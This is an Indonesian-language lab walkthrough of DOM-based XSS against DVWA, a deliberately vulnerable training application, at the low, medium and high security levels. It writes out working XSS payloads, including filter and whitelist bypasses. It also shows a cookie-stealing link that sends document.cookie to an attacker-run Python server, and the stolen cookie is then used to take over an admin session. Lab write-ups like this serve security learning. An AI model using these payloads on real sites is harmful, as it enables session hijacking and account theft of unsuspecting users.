DVWA Series: XSS (DOM)
January 04, 2022 ⏱️6 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu XSS(Cross-Site Scripting)
Serangan Cross-Site Scripting (XSS) adalah jenis injeksi, di mana skrip berbahaya disuntikkan ke situs web yang tidak berbahaya dan tepercaya. Ada beberapa jenis serangan XSS yaitu DOM-based XSS, Reflected XSS, dan Stored XSS. Serangan XSS terjadi ketika penyerang menggunakan aplikasi web untuk mengirim kode berbahaya, umumnya dalam bentuk skrip sisi browser, ke pengguna akhir yang berbeda. Penyerang dapat menggunakan XSS untuk mengirim skrip berbahaya ke pengguna(korban yang tidak curiga). Ketika user mengeklik link yanng diberikan maka browser akan mengeksekusi skrip. Karena menganggap skrip berasal dari sumber tepercaya, skrip berbahaya dapat mengakses cookie, token sesi, atau informasi sensitif lainnya yang disimpan oleh browser dan digunakan dengan situs tersebut.
Apa itu DOM-based XSS?
Kerentanan XSS berbasis DOM biasanya muncul saat JavaScript mengambil data dari sumber yang dapat dikontrol penyerang, seperti URL, dan meneruskannya ke sink yang mendukung eksekusi kode dinamis, seperti eval()
atau innerHTML
. Ini memungkinkan penyerang untuk mengeksekusi JavaScript berbahaya, yang biasanya memungkinkan mereka untuk membajak akun pengguna lain.
Untuk mengirimkan serangan XSS berbasis DOM, Kita perlu menempatkan data ke dalam sumber sehingga disebarkan ke sink dan menyebabkan eksekusi JavaScript.
Sumber paling umum untuk DOM XSS adalah URL, yang biasanya diakses dengan objek window.location. Penyerang dapat membuat tautan untuk mengirim korban ke halaman yang rentan dengan payload URL
Security Level: Low
<?php
# No protections, anything goes
?>
Information Gathering
Jika dilihat dari source code-nya, developer belum membuat validasi apa pun, sehingga kita bisa dengan mudah melakukan serangan. dan jika kita view source akan terlihat bahwa pilihan tersebut menggunakan Javascript.
Kemudian form ini menggunakan method GET
dengan oarameter default. Jika kita melakukan request dengan menekan tombol select maka yang kita akses adalah link sbb:
http://192.168.111.130/vulnerabilities/xss_d/?default=English
Launch Attack
Langsung saja kita masukan payload sebagai berikut
<script>alert(document.cookie)</script>
Kita sisipkan pada link sbb:
http://192.168.111.130/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
Pada “kejahatan yang sebenarnya” peretas akan mengirim link XSS tersebut ke victim untuk menjalankan script yang telah ia buat.
Mari kita coba secara sederhana. sekenarionya adalah Kita(Attacker) akan mengirimkan link dengan payload berbahaya untuk mendapatkan cookie dari admin DVWA dengan memanfaatkan kerentanan XSS DOM ini.
Yang perlu kita siapkan:
- Server penyerang yang nantinya akan menerima cookie. (Saya menggunakan webserver sederhana saja menggunakan simple http milik python)
- Kemudian 1 device yang permissionnya hanya user biasa (nanti akan kita gunakan untuk menaikkan permissionnya menjadi admin).
Server Penyerang
Dengan menjalankan perintah
python -m http.server 8088
kemudian link yang akan kita kirim ke target adalah
http://192.168.111.130/vulnerabilities/xss_d/?default=<script>window.location='http://192.168.1.5:8088/?cookie='+document.cookie</script>
Penjelasan: window.location adalah untuk meredirect ke halaman/web penyerang http://192.168.1.5:8088 adalah alamat dari web penyerang document.cookie adalah untuk mengambil cookie.
Sehingga ketika korban mengeklik link tersebut maka pada log server penyerang muncul sbb:
Kemudian cookie tersebut kita gunakan untuk mencuri akun tersebut. Perhatikan bahwa kita login menggunakan akun denganusername “pablo”.
Kita akan mengganti cookie tersebut dengan apa yang suda kita dapat. sehingga menjadi:
Kemudian kita rfresh halaman tersebut Duarrrr. Kita sekarang menjadi admin.
Begitulah kira-kira.
Security Level: Medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
Information Gathering
Perhatikan pada source code, bahwa terdapat validasi jika mengandung kata “<script” pada nilai parameter default, maka akan di redirect ke parameter ?default=English.
Untuk mengatasi ini kita harus mencari cara lain untuk menjalankan JavaScript tanpa menggunakan tag <script>
Kita bisa menggunakan payload
<img src/onerror=alert(document.cookie)>
atau menggunakan onload pada tag body
</select><body onload="alert('Hacked')">
untuk variasi payload bisa dilihat di https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Tetapi untuk melakukan hal tersebut kita harus tutup terlebih dahulu tag sebelumnya (di sini <select>
) agar script yang kita inject bisa berjalan.
Yang terjadi adalah tag select
akan tertutup dan tag img
akan di masukkan dan ketika terjadi error pada source akan menampilkan cookie.
Security Level: High
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
Information Gathering
Pada level ini, developer sekarang menentukan whitelist untuk bahasa yang diperbolehkant. Kita harus cari jalan agar kode tidak tereksekusi di server(hanya di client).
setelah saya baca baca di https://owasp.org/www-community/attacks/DOM_Based_XSS
kita bisa menggunakan payload
#<script>alert(document.cookie)</script>
http://192.168.111.130/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>
atau
&<script>alert(document.cookie)</script>
http://192.168.111.130/vulnerabilities/xss_d/?default=English&<script>alert(document.cookie)</script>
Teknik untuk menghindari pengiriman payload ke server bergantung pada fakta bahwa fragmen URI (bagian dalam URI setelah ”#”) tidak dikirim ke server oleh browser.
Menghindari XSS DOM
<?php
# Don't need to do anything, protction handled on the client side
?>
Konten yang diambil dari URL dikodekan secara default oleh sebagian besar browser yang mencegah JavaScript yang diinject untuk dieksekusi. Maka ketika kita eksekusi payload, payload tersebut akan terencode.
lengkapnya baca di https://owasp.org/www-community/attacks/xss/